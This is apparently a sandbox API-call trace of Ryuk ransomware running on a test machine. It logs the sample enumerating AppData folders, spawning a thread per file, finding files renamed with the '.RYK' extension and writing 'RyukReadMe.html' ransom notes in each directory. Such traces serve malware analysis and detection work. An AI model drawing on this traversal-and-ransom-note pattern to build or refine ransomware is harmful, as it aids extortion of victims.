	[0205.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0205.383] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.384] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.384] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.384] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0205.384] SetLastError (dwErrCode=0x0) 
	[0205.385] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4
	[0205.385] GetLastError () returned 0xb7
	[0205.385] CloseHandle (hObject=0x4b4) returned 1
	[0205.385] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.385] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0205.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0205.389] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.390] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0205.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0205.393] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.393] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0205.393] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0205.394] SetLastError (dwErrCode=0x0) 
	[0205.394] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.394] GetLastError () returned 0xb7
	[0205.394] CloseHandle (hObject=0x468) returned 1
	[0205.394] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.394] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.395] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0205.395] SetLastError (dwErrCode=0x0) 
	[0205.395] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.395] GetLastError () returned 0xb7
	[0205.395] CloseHandle (hObject=0x480) returned 1
	[0205.395] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0205.395] SetLastError (dwErrCode=0x0) 
	[0205.395] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.396] GetLastError () returned 0xb7
	[0205.396] CloseHandle (hObject=0x480) returned 1
	[0205.396] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0205.396] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.396] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0205.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0205.689] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.690] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0205.690] SetLastError (dwErrCode=0x0) 
	[0205.690] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.690] GetLastError () returned 0xb7
	[0205.690] CloseHandle (hObject=0x4e4) returned 1
	[0205.691] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0205.691] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.691] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.691] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0205.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0205.695] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.695] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0205.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0205.699] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.700] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0205.700] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0205.700] SetLastError (dwErrCode=0x0) 
	[0205.700] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.700] GetLastError () returned 0xb7
	[0205.700] CloseHandle (hObject=0x4e4) returned 1
	[0205.701] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.701] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.701] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0205.701] SetLastError (dwErrCode=0x0) 
	[0205.701] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.702] GetLastError () returned 0xb7
	[0205.702] CloseHandle (hObject=0x480) returned 1
	[0205.702] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.702] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.702] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0205.702] SetLastError (dwErrCode=0x0) 
	[0205.702] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0205.703] GetLastError () returned 0xb7
	[0205.703] CloseHandle (hObject=0x4cc) returned 1
	[0205.703] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0205.703] SetLastError (dwErrCode=0x0) 
	[0205.703] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0205.704] GetLastError () returned 0xb7
	[0205.704] CloseHandle (hObject=0x4cc) returned 1
	[0205.704] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0205.704] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.704] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0205.704] SetLastError (dwErrCode=0x0) 
	[0205.705] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.705] GetLastError () returned 0xb7
	[0205.705] CloseHandle (hObject=0x480) returned 1
